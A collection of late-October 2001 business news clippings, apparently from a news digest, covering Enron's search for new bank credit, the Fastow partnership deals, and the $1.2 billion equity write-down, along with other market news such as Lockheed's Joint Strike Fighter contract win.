"Earnings for the quarter is not the big deal. The big deal is that for 200=
2 they are not going to earn as much as people expected. It's a downward re=
vision of earnings guidance." said Patterson.=20
Michigan-based CMS Energy Corp. cut its earnings estimates for the second t=
ime to $2 to $2.05 for 2002, down from $2.79 and said it would sell off cer=
tain overseas assets and focus future growth primarily in North America.=20
CMS, whose earnings were down for the third quarter, said it took a charge =
for planned divestitures, includingdiscontinued South American energy distr=
ibution units as well as other international investments.=20
Allegheny Energy Inc. also changed its strategy after reporting a fall in t=
hird quarter earnings.=20
The Maryland-based company said while it is continuing to work towards gett=
ing necessary regulatory approvals for a initial public offering to hold it=
s unregulated assets, it will not proceed with the offering at this time.=
=20
"The company will integrated until market conditions are such that demonstr=
ated value can and will be created for shareholders," Allegheny said.

AFX (AP)
Copyright 2001 AFX News; Source: World Reporter (TM)

NEW YORK (AFX) - Enron Corp is negotiating with banks for a new credit line=
, a spokesman told the Wall Street Journal.=20
The company is in talks to raise between 1-2 bln usd and is likely to close=
 a deal within days, it quoted officials familiar with the matter as saying=
.
The deal, which is intended to head off a potential loss of investor and bu=
siness confidence, would supplement existing lines. These are largely tappe=
d out after Enron last week drew down about 3 bln usd to increase cash rese=
rves and calm market fears.=20
Enron earlier this month announced a heavy third quarter loss and erosion o=
f shareholder equity related to controversial transactions it had done with=
 entities connected to its then chief financial officer, Andrew Fastow.=20
jms For more information and to contact AFX: www.afxnews.com and www.afxpre=
ss.com

Markets
BY LAURA MANDARO and ALISSA SCHMELKIN

American Banker
31
Copyright (c) 2001 Thomson Financial, Inc. All Rights Reserved.

The Texas energy and telecommunications giant Enron Corp. was reportedly ne=
gotiating with its lenders about new credit lines Friday, a day after it dr=
ew down billions on its existing lines.=20
J.P. Morgan Chase & Co. and Citigroup Inc. are the two banking companies wi=
th the largest lending exposure to the $67 billion-asset Houston company, w=
ith an estimated $400 to $500 million in bank debt outstanding "in addition=
 to derivatives and other structured product exposures," according to Goldm=
an Sachs Group Inc. analyst Lori Applebaum.
Morgan Chase and Citi were the book runners on a 364-day, $2.25 billion loa=
n facility to Enron that closed in May, according to Thomson Financial Secu=
rities Data. Credit Suisse First Boston was the sole bookrunner on a $582 m=
illion loan to the company that closed in March and matures in March 2004, =
the data company said. Bank of America, Citigroup, and Deutsche Bank also p=
articipated, Securities Data said.=20
On Thursday, Enron issued a statement that "in order to dispel uncertainty =
in the financial community," it had drawn on its committed lines of credit =
to provide over $1 billion of cash liquidity. The Wall Street Journal repor=
ted on Friday that Enron drew down about $3 billion from a credit line and =
was in talks about obtaining a new multibillion-dollar line.=20
"We continue to have conversations new our creditors about new liquidity --=
 that's nothing out of the ordinary," said Enron spokesman Eric Thode.=20
The developments followed a $638 million loss for the third quarter, the de=
parture of Enron's chief financial officer, and a Securities and Exchange C=
ommission inquiry.=20
Enron, a natural gas company that has broadened its focus to include energy=
 trading, transport, risk-management, and telecommunications products and s=
ervices, has relationships with banks that extend beyond credit lines.=20
"Citi, J.P. Morgan, and possibly Wachovia and Bank of America also invested=
 along with Enron in some of its partnerships," said Ms. Applebaum. A spoke=
sman for Morgan Chase confirmed that the bank was a lender but said he did =
not know the amount of its exposure.=20
Many other regional banks have participated in credit facilities to Enron. =
Bank of America Corp. is estimated to have about $200 million to $300 milli=
on of exposure; Bank One Corp. about $100 million; and Wachovia Corp., SunT=
rust Banks Inc., and FleetBoston Financial Corp. about $50 million each, ac=
cording to Goldman Sachs estimates. Bank of New York has between $50 to $10=
0 million of exposure, and Northern Trust, U.S. Bancorp and KeyCorp also ha=
ve some lending exposure, Ms. Applebaum said.=20
Representatives of these banks would not comment on their relationships wit=
h Enron, or did not return phone calls by deadline.

http://www.americanbanker.com=20

NEW YORK, Oct 29 (Reuters) - Energy trading giant Enron Corp. is negotiatin=
g with banks for a new credit line of between $1 billion and $2 billion and=
 could close a deal within days, the Wall Street Journal reported in its on=
line edition on Monday.=20
According to officials close to the situation, the new credit would supplem=
ent existing credit lines, largely tapped out after the company drew down a=
bout $3 billion last week to increase cash reserves and calm jittery invest=
ors' fears, the Journal reported.
The paper said that an Enron spokesman had confirmed that the company is ne=
gotiating a new credit line, but could not supply any further details.=20
Confidence in Enron has been shattered following disclosures about its invo=
lvement in complex partnerships. Its stock has tumbled amid a U.S. Securiti=
es and Exchange Commission inquiry into the company's ousted Chief Financia=
l Officer's links to some of the partnerships.

TOKYO, Oct 29 (Reuters) - Japan's major polyester manufacturer, Teijin Ltd =
, said on Monday it would conduct a feasibility study with U.S. energy gian=
t Enron Corp on building a coal-fired power plant.=20
Teijin said in a statement that it and E Power Corp, a Japanese affiliate o=
f Enron Corp, would look into building the 70,000 kilowatt coal-burning the=
rmal power plant in Matsuyama, Ehime prefecture, on the southwestern island=
 of Shikoku, where Teijin has a polyester plant.
"We are beginning to consider selling surplus power to third parties other =
than our own plants, with eyes on further deregulation in Japan's power mar=
ket," a Teijin spokesman said.=20
Japan is in the process of deregulating its power market. Since March last =
year, large-lot consumers have been free to choose their suppliers.=20
In its polyester business, Teijin has expanded overseas output while reduci=
ng domestic production, a trend which would leave it with surplus power. It=
 is thus looking at how to make good use of any surplus.=20
The two firms were also considering expanding the capacity of Teijin's exis=
ting power generator in Matsuyama, Teijin said. It hopes to reduce costs at=
 the inefficient small plant with the help of Enron.=20
Enron Corp said earlier this year it had presented plans to build a liquefi=
ed natural gas (LNG) fired power plant in northern Japan, aiming to become =
the first foreign company to build such a power plant in Japan.=20
The Teijin spokesman said the two firms hoped to conclude the feasibility s=
tudy by June 2002.=20
Teijin's shares ended the day down 13 yen or 2.68 percent at 472 yen.

2001-10-28 23:39 (New York)

     Tokyo, Oct. 29 (Bloomberg) -- Enron Corp. and Teijin Ltd.
will jointly build a coal-fired power plant in southwestern Japan
as early as 2004, the Nihon Keizai newspaper said on its wire
service, without citing sources.

     Enron, the world's biggest energy trader, and synthetic-
fiber maker Teijin will together spend 1 billion yen ($8.16
million) to build the 70,000-kilowatt plant in Ehime, southwest of
Tokyo, the report said.

     Enron wants to eventually build bigger plants and sell
electricity directly to large commercial users without going
through exiting utilities, the report said.

Money and Business/Financial Desk; Section 3
By ALEX BERENSON and RICHARD A. OPPEL Jr.

10/28/2001
Page 1, Column 2

IS time running out for Enron?=20
At the beginning of this year, the Enron Corporation, the world's dominant =
energy trader, appeared unstoppable. The company's decade-long effort to pe=
rsuade lawmakers to deregulate electricity markets had succeeded from Calif=
ornia to New York. Its ties to the Bush administration assured that its vie=
ws would be heard in Washington. Its sales, profits and stock were soaring.
And under the leadership of Jeffrey K. Skilling, its chief executive, Enron=
's arrogance had grown even more quickly.=20
The company, based in Houston, dripped contempt for the regulators and cons=
umer groups that stood between it and fully deregulated markets -- for elec=
tricity, water and everything else. Everyone would win under deregulation, =
Enron said -- especially its shareholders, whose stock would soar as the co=
mpany profited from creating new markets.=20
''We are on the side of angels,'' Mr. Skilling said in March, dismissing th=
ose who saw the company as a profiteer in California's energy crisis. ''Peo=
ple want to have open, competitive markets. They want fair competition. It'=
s the American way.''=20
But less than a year later, everybody seems to have lost, especially Enron'=
s investors. Enron's stock is plunging, and questions about its finances ar=
e mounting.=20
Some experts in the energy industry worry that if the crisis at the company=
 worsens, trading in natural gas and electricity could be seriously disrupt=
ed and energy prices could grow more volatile. In a worst-case outlook, Enr=
on could become the 2001 version of Long-Term Capital Management, the huge =
hedge fund whose collapse roiled financial markets during the fall of 1998.=
 Enron's shares have fallen more than 80 percent this year, erasing $50 bil=
lion in shareholder value.=20
Enron closed on Friday at $15.40, down 95 cents, after hitting a 52-week lo=
w of $15.04 earlier in the day.=20
The future of electricity deregulation is in doubt, thanks to blackouts and=
 soaring power prices in California earlier this year -- a crisis that ende=
d only when that state contradicted deregulation's basic tenets by interven=
ing deeply in the power market. Enron's efforts to become a profit-making w=
ater supplier and to create a new market in broadband communications capaci=
ty have been expensive failures. In August, Mr. Skilling quit, forcing Kenn=
eth L. Lay, his predecessor as chief executive and still Enron's chairman, =
to resume day-to-day control of the company.=20
The company declined to make senior executives, including Mr. Lay, availabl=
e for comment, and asked that questions be submitted in writing. Mr. Skilli=
ng could not be reached.=20
Enron's problems boiled over earlier this month, when it disclosed that its=
 shareholders' equity, a measure of the company's value, dropped by $1.2 bi=
llion in the last quarter because of a deal disclosed only very hazily in E=
nron's regular financial statements. The Securities and Exchange Commission=
 is looking into the company's financial reporting, and some investors ques=
tion whether Enron has overstated profits at its primary business of tradin=
g electricity and natural gas.=20
THE slump in the company's shares accelerated after Enron revealed the fall=
 in its shareholders' equity. On Wednesday, the company forced out its chie=
f financial officer, Andrew S. Fastow, who is at the center of the controve=
rsy over Enron's confusing finances. The company, which six months ago seem=
ed to be reaping billions of dollars from California's energy crisis, today=
 faces a potential cash crunch.=20
The surprise about shareholder equity inflamed investors' smoldering concer=
n about Enron's opaque financial statements. Now, with Wall Street analysts=
 and bond-rating agencies demanding more information about the complex tran=
sactions that have fueled the company's profits, Enron has been reduced to =
issuing news releases assuring investors that it has adequate access to cas=
h.=20
Enron does not appear to be in immediate danger of running out of cash. On =
Thursday, the company drew down a $3.3 billion credit line it had previousl=
y arranged with a group of banks led by Citigroup and J. P. Morgan Chase, w=
hich have each extended at least $400 million. But because of Enron's impor=
tance in the natural gas and electricity markets, industry experts say that=
 any problem at the company could disrupt energy trading nationwide.=20
The supply of natural gas and electricity would probably not be affected ev=
en if the company failed, because Enron is mainly a trader, rather than a p=
roducer, of energy. But a crisis at the company might increase the volatili=
ty of energy prices, which have swung wildly in the last year.=20
Philip K. Verleger Jr., an energy-markets economist, emphasized that he tho=
ught Enron would survive this crisis. But he said it was not clear what wou=
ld happen if Enron ran out of cash or if traders that use the company's Enr=
onOnline Internet trading marketplace defaulted on their obligations.=20
''You suddenly have all these positions they have taken on there -- are the=
y good? Are the firm's hedges good? What's the situation?'' Mr. Verleger sa=
id. ''It's got everyone scared.''=20
In the short run, Enron's credit rating may be its biggest problem. If the =
company's rating falls below investment grade, Enron could be forced to iss=
ue tens of millions of shares of stock to cover loans that it has guarantee=
d. But creating new shares would make the shares that already exist less va=
luable, because those shares would no longer represent full ownership of th=
e company.=20
A drop in the company's credit rating could also prompt other energy trader=
s and producers to back away from doing business with Enron, hurting the co=
mpany's sales and profits.=20
Enron's credit rating stands several notches above the critical point. But =
its bonds, which are publicly traded, have fallen so low that they are now =
offering interest rates of almost 10 percent, comparable with many junk bon=
ds. Two of the three major credit-rating agencies, Moody's Investors Servic=
e and Fitch Investors Service, have put Enron's bonds on review for possibl=
e downgrades.=20
''The issue that's in the front of everybody's mind right now is credit,'' =
said Mark Gurley, senior vice president and general manager for trading at =
Aquila Inc., one of the nation's largest energy traders. Aquila is based in=
 Kansas City, Mo.=20
For now, Aquila and other major energy traders and producers, including Rel=
iant Energy, the El Paso Corporation and Dynegy, are continuing to do busin=
ess with Enron. And Mr. Gurley said that Enron's own trading in the electri=
city and natural gas markets did not suggest the sort of frenzied selling r=
eminiscent of the collapse of Long-Term Capital Management in 1998.=20
''They haven't done anything trading-wise that gives me any indication they=
 are closing their books down,'' he said.=20
Still, some executives at other companies said they were looking more caref=
ully at transactions with Enron, especially long-term contracts. They also =
said risk-management and credit officers were calling each other regularly =
to discuss the situation.=20
Mark Palmer, an Enron spokesman, said on Friday that no energy-trading comp=
any had stopped doing business with Enron. He declined to say whether any o=
f the company's trading partners had suspended or altered credit terms. He =
said the company was continuing to see normal volumes of business.=20
But the crisis that Enron will face if its credit rating is downgraded is j=
ust a symptom of the bigger problem the company must confront. For years, t=
he details of Enron's finances have been a mystery even to the Wall Street =
analysts whose job it is to follow the company, and to the investors who ow=
n its stock and bonds. When Enron's profits were soaring and it was creatin=
g lucrative new markets, shareholders did not seem to care about the impene=
trability of its financial statements.=20
Now they do. Yet the company seems incapable of offering straight answers t=
o the questions investors ask.=20
To others in the industry, the opaqueness of the company's financial statem=
ents parallels Enron's efforts to keep its energy-trading business lightly =
regulated and free of disclosure requirements. Though they do not expect En=
ron to crumble like Long-Term Capital Management, they say that, like the g=
iant hedge fund, Enron uses a lot of debt, regulatory oversight is limited =
and outsiders have a difficult time figuring out its finances.=20
The most pressing concerns are a series of partnerships and trusts Enron cr=
eated to move some of its assets and debt off its balance sheet. With names=
 like Marlin and Osprey, the partnerships have at least $3.3 billion in bon=
ds outstanding, backed by assets like a stake in Azurix, Enron's water comp=
any subsidiary. Enron has promised that if the partnerships' debts exceed t=
he value of their assets, Enron will issue enough new shares to make up the=
 difference.=20
DEALS with partnerships formed by Mr. Fastow, who was chief financial offic=
er when they were organized, led to the $1.2 billion write-off in sharehold=
ers' equity that Enron announced last week. The company has offered only sk=
impy details of its transactions with those partnerships.=20
Enron ended its relationships with those partnerships in the last quarter, =
after being criticized by shareholders. In the process, it wrote off a prom=
issory note that it had carried on its books, reducing its shareholders' eq=
uity by $1.2 billion. But, because of complex accounting rules, the transac=
tion was not apparent in Enron's quarterly earnings report.=20
The transaction disturbs investors because it suggests that Enron may have =
found a way to hide losses, throwing the accuracy of its financial statemen=
ts into question. When Enron released third-quarter earnings on Oct. 16, it=
 reported a loss from $1 billion in write-offs on failed investments. The e=
arnings statement did not mention the additional $1.2 billion equity write-=
down. But the company said its core business had been solidly profitable, a=
nd its shares rose.=20
In a conference call with analysts after the announcement, Mr. Lay, Enron's=
 chairman, also disclosed the reduction in shareholder equity. The referenc=
e was a brief one, however, and some listeners did not catch it. Those anal=
ysts were angered when they found out the next day what Enron had done, and=
 many were confused by the accounting procedure. Enron's stock began to sli=
de, and investors clamored for more information about the write-off. But so=
 far, the company's efforts to clear up the situation have further unnerved=
 investors.=20
Mr. Lay has met with investors during the last two weeks to try to explain =
the deals, but some on Wall Street say they have come away with doubts abou=
t Mr. Lay's grasp of the situation. They say that the two people at Enron w=
ho appear to have been most knowledgeable about the deals -- Mr. Skilling a=
nd Mr. Fastow -- have both left the company.=20
In an interview in late August, Mr. Lay said he did not know some details a=
bout the deals involving Mr. Fastow. In response to one question about them=
, he said, ''You're getting way over my head.''=20
Mr. Palmer of Enron disputed any suggestion that Mr. Lay did not have a gra=
sp of the investments at issue, saying Mr. Lay was handicapped in talking a=
bout them because of the S.E.C. investigation. ''There is not a whole lot w=
e can say, or should say, about them,'' Mr. Palmer said. He also said the c=
ompany expected to generate about $3 billion in cash through asset sales by=
 the end of next year.=20
In a conference call on Tuesday, analysts pressed Mr. Lay and other top Enr=
on executives to reveal more information about the LJM write-down and its o=
ther partnerships. Instead, they offered only vague explanations of the dea=
l, leaving Wall Street worried that more write-offs might be coming.=20
David Fleischer, a Goldman, Sachs analyst and a longtime supporter of the c=
ompany, was among those who came away concerned. ''If Enron is unable to cl=
arify its off-balance-sheet transactions and restore confidence in the very=
 near term by assuring investors that no more surprises are forthcoming tha=
t would affect the balance sheet or liquidity position, then the company wi=
ll likely lose access to the capital markets,'' he wrote in a research note=
 after the call.=20
To try to reassure investors, Enron said late Thursday that EnronOnline, it=
s Internet-based trading exchange, executed more than 8,400 trades that day=
, a higher-than-normal volume.=20
''We know we have our work cut out for us if we are to rebuild our credibil=
ity with the investment community -- and we're working on that,'' Mr. Lay s=
aid in a statement. ''But in the meantime, the best evidence of our strengt=
h is the willingness of customers to bring their business to Enron.''=20
But those reassurances apparently are no longer enough for Wall Street. Enr=
on's stock tumbled almost 6 percent Friday, to its lowest levels in six yea=
rs.=20
Now analysts are scrambling to figure out the extent of Enron's off-balance=
-sheet debt and to assess the risk that the company will have to issue new =
shares to make good on its partnership guarantees.=20
Carol Coale, an analyst at Prudential Securities in Houston, calculates tha=
t Enron may have close to $9 billion in off-balance-sheet debt. She said th=
at Enron had for two years been trying to sell about $6 billion in foreign =
assets -- including properties in Latin America and a power plant in India =
embroiled in a dispute with the state government -- and she worries about t=
hose prospects for sale in light of Enron's problems and the souring econom=
y.=20
''As Enron is forced to sell assets to keep the ratings agencies off their =
backs, they may have to write those assets down,'' Ms. Coale said. On Wedne=
sday, she downgraded her rating on Enron to ''sell'' from ''neutral.''=20
''The bottom line is, it's really difficult to recommend an investment when=
 management does not disclose the facts,'' Ms. Coale said.=20
Short-sellers, who attacked Enron's accounting even before the company disc=
losed the write-off, say the company's problems may run even deeper than an=
alysts fear. Enron may have used the partnerships not just to finance money=
-losing investments but to hide losses in its core trading business, they s=
ay.=20
''The company still isn't disclosing enough to know whether the core busine=
ss, the trading business, is profitable,'' said Mark Roberts, director of r=
esearch at Off Wall Street, which recommended shorting Enron's stock on May=
 7, when it stood at $59.43. ''The issue remains: why are they doing these =
transactions? Our theory has been that the core operations aren't that prof=
itable.''=20
James Chanos, a leading short-seller who has bet that Enron's stock will fa=
ll, said, ''Is Enron booking gains when it has real profits, but hiding the=
 losses when deals go against it?'' Mr. Palmer of Enron said the company st=
ood by its reported energy-trading profits.=20
Even traders at other energy companies say they do not have a clear picture=
 of Enron's positions. Enron maintains that it is in no danger of being wip=
ed out by a sharp move in electricity or gas prices because it keeps its tr=
ading book balanced -- meaning the energy it has agreed to sell is offset, =
in roughly equivalent amounts, by energy it has agreed to buy.=20
''With these guys, they tell us -- and all you've got is their word -- that=
 they're hedged,'' said Mr. Verleger, the economist.=20
IN fact, Enron has lobbied forcefully over the years to limit regulation an=
d disclosure of its trading operations. Last year, the company successfully=
 lobbied Congress to effectively ensure that its Internet-trading platform =
would be exempted from regulation by the Commodity Futures Trading Commissi=
on.=20
Enron and other power traders do file limited information in reports to the=
 Federal Energy Regulatory Commission, the agency that oversees wholesale e=
lectricity and natural gas markets. But the commission does not keep track =
of specific transactions and prices.=20
Large-scale energy trading has existed for only about a half-dozen years. E=
nron pioneered the business, and now dominates it, accounting for about one=
-quarter of all trading in the United States.=20
Before Congress and federal regulators opened up the market for wholesale e=
lectricity, a process that began in earnest a decade ago, the power busines=
s was a simpler affair. Utilities were given areas of monopoly service, and=
 their rates -- and ability to deliver enough electricity -- were overseen =
by state regulators. But with the move to deregulate the business, independ=
ent and unregulated generators and traders have flourished, providing an ev=
er-growing portion of the nation's power.=20
Beginning in the 1980's, the sale and transportation of natural gas was als=
o deregulated, spurring Enron, which used to be primarily a gas-pipeline co=
mpany, to move into the trading business.=20
The company's shift to trading gas and electricity accelerated in the mid-1=
990's, with the ascension of Mr. Skilling, who became chief executive in Fe=
bruary, just six months before his unexpected resignation. Underscoring the=
 change in direction, in securities filings this year Enron described its p=
rincipal business as ''security brokers, dealers and flotation.'' Before, i=
t had said it was in the business of ''wholesale-petroleum and petroleum pr=
oducts.''=20
For most of its ascent, Enron reported outstanding profit figures and Wall =
Street accepted them with pleasure. A year ago, when it disclosed the first=
 transactions with partnerships led by Mr. Fastow, the company's former chi=
ef financial officer, analysts who asked questions were told that the deals=
 were routine and were being disclosed only because of Mr. Fastow's involve=
ment.=20
Enron does not appear to face an immediate cash crunch. But the bank credit=
 lines that it drew on last week to pay off its short-term debt will have t=
o be renegotiated next spring. The controversial partnerships do not have t=
o pay their debts until the following year -- unless Enron loses its invest=
ment-grade credit rating before that.=20
ENRON will also need to maintain its large trading positions, which could s=
uffer if participants in those markets grow more nervous about Enron's cred=
it. When Long-Term Capital was stumbling in 1998, some Wall Street rivals s=
old the securities they thought Long-Term owned, trying to force Long-Term =
to sell its positions quickly and at a loss. Something similar in energy ma=
rkets might be possible. If so, Enron might find, as Long-Term did, that po=
sitions that should offset each other do not.=20
Enron's new chief financial officer may yet persuade investors that in fact=
 the company's profits are real, and that its condition is better than the =
short-sellers believe. As questions are answered, confidence, and the share=
 price, could rebound.=20
But for now, investors are skittish, and some competitors are eager to take=
 advantage of Enron's plight.

Photos: Enron, which is building a new headquarters in Houston, grew with d=
eregulation. But with deregulation in doubt, Enron stock has dropped. (Phil=
lippe Diederich for The New York Times); Enron owns 65 percent of the power=
 plant in Dabhol, India, but has had trouble collecting payments. (The New =
York Times)(pg. 13); 'We know we have our work cut out for us,' says Kennet=
h L. Lay, Enron's chief. (WGBH/''Frontline'')(pg. 1) Chart: ''Enron's Board=
'' Directors have not addressed the company's current difficulties, a spoke=
sman said. KENNETH L. LAY: 58 Chairman JOHN H. DUNCAN: 73 Former chairman o=
f the executive committee, Gulf and Western Industries ROBERT A. BELFER: 65=
 Chairman, Belco Oil & Gas CHARLES A. LEMAISTRE: 77 President emeritus, M. =
D. Anderson Cancer Center, University of Texas ROBERT K. JAEDICKE: 72 Profe=
ssor emeritus, Graduate School of Business, Stanford RONNIE C. CHAN: 51 Cha=
irman, Hang Lung Group WENDY L. GRAMM: 56 Director, Mercatus Center, George=
 Mason University JOHN MENDELSOHN: 64 President, M. D. Anderson Cancer Cent=
er, University of Texas PAULO V. FERRAZ PEREIRA: 46 Executive vice presiden=
t, Group Bozano JOHN WAKEHAM: 68 Former British Secretary of State for Ener=
gy NORMAN P. BLAKE JR.: 59 Chief executive, Comdisco KEN L. HARRISON: 58 Fo=
rmer chief executive, Portland General Electric (FORMER ENRON EMPLOYEE) JER=
OME J. MEYER: 63 Chairman, Tektronix FRANK SAVAGE: 62 Chairman, Alliance Ca=
pital Management International JOHN A. URQUHART: 72 Adviser to the chairman=
, Enron HERBERT S. WINOKUR JR.: 57 President of Winokur Holdings (FORMER EN=
RON EMPLOYEE) (pg. 13)=20

By FLOYD NORRIS

Page 13, Column 6

AT the heart of the sudden collapse in investor confidence in the Enron Cor=
poration are unusual trades it entered into with partnerships led by its ch=
ief financial officer, Andrew S. Fastow, beginning in the summer of 1999. B=
ecause they were transactions among related parties, the company was requir=
ed to disclose them, but the disclosures raised as many questions as they a=
nswered. Following are some questions that investors are asking, and the cu=
rrently available answers.=20
Q. Why did Enron enter into the deals?
A. Enron's first disclosures, in 1999, gave no reason. In later reports, it=
 said it was seeking to ''hedge certain merchant investments and other asse=
ts,'' by which it apparently meant investments in technology and telecommun=
ications companies.=20
Q. How did those investments do?=20
A. It looks as if they plunged in value, although there is no clear disclos=
ure on that.=20
Q. Why can't that be discerned?=20
A. The company never said just what the investments were. And the transacti=
ons with the partnerships were complicated, involving a variety of derivati=
ve securities, Enron stock and various promissory notes. Enron's financial =
disclosures do not provide enough information to understand the arrangement=
s completely.=20
Q. Why were they so complicated?=20
A. One reason may have been to use accounting rules to its advantage. One a=
ccounting rule dictates that companies may not record profits or losses on =
transactions in their own stock. If a company sells its shares at $10 each =
and then buys them back -- whether for $1 or $50 -- there is no gain or los=
s. But shareholder equity does go up or down on the balance sheet -- in tha=
t case reflecting how much extra cash the company took in, or paid out, on =
the transactions. Enron's transactions appear to have been structured to fa=
ll under that rule.=20
Q. Who made money from these transactions?=20
A. Enron reported some profits along the way from the deals, although not a=
ll of the profits were spelled out in its quarterly filings. And it appears=
 that the partnerships distributed money to investors.=20
Q. If the deals began in 1999, why all the uproar now?=20
A. Many investors and analysts were not curious about them when everything =
seemed to be going well. As long as Enron was exceeding its forecasted prof=
its each quarter, they were willing to assume that what was not being discl=
osed was not really important.=20
Q. When were concerns raised with Enron?=20
A. The complaints grew as Enron's share price fell earlier this year. By th=
is summer, Enron decided that Mr. Fastow would sell his stake in the partne=
rships. Then, because the partnerships would no longer be considered relate=
d to Enron, the company would no longer have to disclose anything about the=
 transactions. But investors were still worried, and Enron later closed out=
 its deals with the partnerships.=20
Q. How did Enron do?=20
A. Badly. It took a $35 million loss, which, given the size of the transact=
ions involved and the previous profits taken, was not very much. But it als=
o reduced shareholder equity by $1.2 billion.=20
Q. How did that happen?=20
A. That, like so much else, is not clear. But it looks as if the partnershi=
p owed Enron that much money, could not pay and was let off the hook by Enr=
on. In return, Enron terminated ''previously recorded contractual obligatio=
ns to deliver Enron shares in future periods.'' Enron treated that like a s=
hare buyback, even though the shares in question had not been issued, and d=
etermined that there was no need to treat it as a loss that would reduce re=
ported earnings.=20
Q. Is that legal under the accounting rules?=20
A. Presumably it is. But Enron's limited disclosures make it impossible to =
say for sure. Enron may have discovered ways to use the accounting rules to=
 enable it to keep losses off income statements, while leaving profits on t=
hem. That may become clearer when the Securities and Exchange Commission, w=
hich has begun preliminary inquiries, completes its work. FLOYD NORRIS

DataBank
By MICHAEL BRICK

Page 17, Column 3

Investors sent stocks markedly higher last week, despite reports on the eco=
nomy and corporate profits that were resoundingly poor.=20
The Dow Jones industrial average, strengthened by triple-digit rallies on M=
onday and Thursday, ended the week nearly back to its level of Sept. 10, on=
e day before the attacks on the World Trade Center and the Pentagon. Broade=
r indicators ended slightly higher than they were on Sept. 10.
Investors overcame their initial discouragement about reports that orders f=
or durable goods and sales of existing homes were deteriorating faster than=
 expected. They also seemed unfazed by reports of corporate profits declini=
ng from a year ago, at some companies by more than 30 percent.=20
All the bad news, investors seemed to surmise, meant that the government wa=
s more likely to act aggressively in stimulating the economy, with tax brea=
ks, spending and lower interest rates.=20
The Dow average gained 341.06, or 3.7 percent, to close at 9,545.17. The Na=
sdaq composite index rose 97.65 points, or 5.8 percent, to 1,768.96. The St=
andard & Poor's 500-stock index rose 31.13, or 2.9 percent, to 1,104.61.=20
MICHAEL BRICK

Charts: ''STOCKS IN THE NEWS'' Enron NYSE: ENE The energy trading company o=
usted its chief financial officer, Andrew S. Fastow, whose involvement in c=
omplicated transactions with Enron caught the attention of the S.E.C. Frida=
y's Close: $15.40 Week's Change: -40.88% EST. '01 P/E: 8.52 SBC Communicati=
ons NYSE: SBC The company posted a 30 percent decline in earnings and said =
it would cut thousands of jobs because of the weak economy and strong compe=
tition. Friday's Close: $39.20 Week's Change: -10.17% EST. '01 P/E: 16.82 W=
alt Disney NYSE: DIS After trimming $100 million from the price, Disney com=
pleted its purchase of the Fox Family Worldwide cable television operation.=
 The deal included $2.9 billion in cash and $2.3 billion in assumed debt. F=
riday's Close: $18.71 Week's Change: +1.19% EST. '01 P/E: 25.28 Microsoft N=
NM: MSFT Microsoft introduced its computer operating system, Windows XP, th=
e latest version of its flagship product. Friday's Close: $62.20 Week's Cha=
nge: +7.43% EST. '01 P/E: 33.88 Vysis NNM: VYSI The drug maker Abbott Labor=
atories has agreed to acquire Vysis, a laboratory products maker, in a stoc=
k deal worth about $355 million. Friday's Close: $30.25 Week's Change: +47.=
13% EST. '01 P/E: -- WorldCom NNM: WCOM The long-distance telephone company=
 posted a 44 percent drop in its third-quarter profit and warned that sales=
 growth in its core data and Internet business would slow in the final quar=
ter and in 2002. Friday's Close: $13.38 Week's Change: +1.59% EST. '01 P/E:=
 12.15 Affymetrix NNM: AFFX Affymetrix settled a patent lawsuit over DNA an=
alysis technologies with a rival, Hyseq, and the companies plan to form a j=
oint venture. Friday's Close: $31.70 Week's Change: +72.66% EST. '01 P/E: -=
- Overture Services NNM: OVER The Internet search service, formerly called =
GoTo.com, reported a profit in the third quarter and higher sales, as its p=
ay-per-listing service remained popular with advertisers. Friday's Close: $=
25.50 Week's Change: +32.88% EST. '01 P/E: -- (Source: Bloomberg Financial =
Markets)=20

2001-10-28 20:20 (New York)

     Houston, Oct. 28 (Bloomberg) -- Enron Corp., the largest
energy trader, asked banks to provide further credit after tapping
a $3.3 billion credit line last week to bolster investor
confidence, the Financial Times reported, citing company sources.

     Enron's stock has fallen more than 50 percent since Oct. 17
when an investor sued the company for conflict of interest over
transactions with affiliates run by Enron's former Chief Financial
Officer Andrew Fastow.

     The company has been shut out of the leading market for low-
interest, short-term loans since announcing Oct. 16 it would take
a $1.01 billion special charge and write down shareholders' equity
by another $1.2 billion, the FT said.

     Enron spokesman Mark Palmer said he hoped the company would
announce the new financing facility in coming days, the newspaper
said.

NEW YORK -(Dow Jones)- Enron Corp. (ENE) is attempting to persuade banks to=
 provide additional credit, The Financial Times reported on its Web site Su=
nday.=20
The company was also due to hold a special board meeting Sunday to consider=
 confidence-building measures after surprise financial disclosures damaged =
its reputation among U.S. investors, The Financial Times reported.
The Financial Times quoted Enron spokesman Mark Palmer as saying he hoped t=
he company could have something to announce in coming days as a result of i=
ts latest effort to "establish additional lines of liquidity."=20
"Once we are able to the liquidity position shored up, that will put a lot =
of fears of the unknown to rest," The Financial Times quoted Palmer as sayi=
ng.

Business; Financial Desk
t
Abigail Goldman; Joseph Menn; Jesus Sanchez; Jeff Leeds; Chuck Philips; Meg=
 James; Nancy Rivera Brooks; Evelyn Iritani; James F. Peltz; Myron Levin; P=
eter Pae

Los Angeles Times
Home Edition
C-2
Copyright 2001 / The Times Mirror Company

The vote is in. Lockheed Martin Corp. won the coveted right to build the na=
tion's next-generation fighter aircraft, beating out Boeing Co. for what co=
uld be the biggest military contract ever.=20
Culminating a five-year battle between two of the world's largest defense c=
ontractors, Pentagon officials picked Lockheed Martin to begin development =
of the Joint Strike Fighter, with plans to purchase 3,000 of the planes at =
a cost of more than $200 billion.
With the potential for foreign sales topping another $200 billion, the cont=
ract is considered the most lucrative in U.S. history. "This really is the =
contract of the millennium," said Christopher Hellman, analyst with the Cen=
ter for Defense Information. "Nothing has or will come close. "=20
Peter Pae=20
Ford Settles Lawsuit Over Faulty Part=20
In the largest automotive class-action settlement in history, Ford Motor Co=
. will reimburse customers who paid hundreds of millions of dollars to repl=
ace a faulty part that caused their vehicles to stall.=20
It was uncertain how many consumers would qualify for reimbursements in the=
 range of $160 apiece.=20
The settlement caps six years of litigation. Plaintiffs' lawyers said the c=
ost to Ford would be as high as $2.7 billion.=20
Myron Levin=20
AMR Posts Record Loss in Quarter=20
Even though more Americans are flying again, the airline industry continues=
 to reel and its problems are expected to worsen this holiday season.=20
AMR Corp., the parent of American Airlines, the world's largest airline, po=
sted a record loss for the third quarter, even after getting $508 million i=
n federal financial aid.=20
Although the number of passengers has kept growing each week since the Sept=
. 11 attacks, about 20% fewer people are flying.=20
Less than a month before the busy Thanksgiving weekend, American Airlines s=
ays advance bookings for November are down 6% from a year earlier.=20
Meanwhile, the airlines are now reporting a little-noticed aspect of the go=
vernment rescue package: They have to pay federal taxes on the cash grants.=
=20
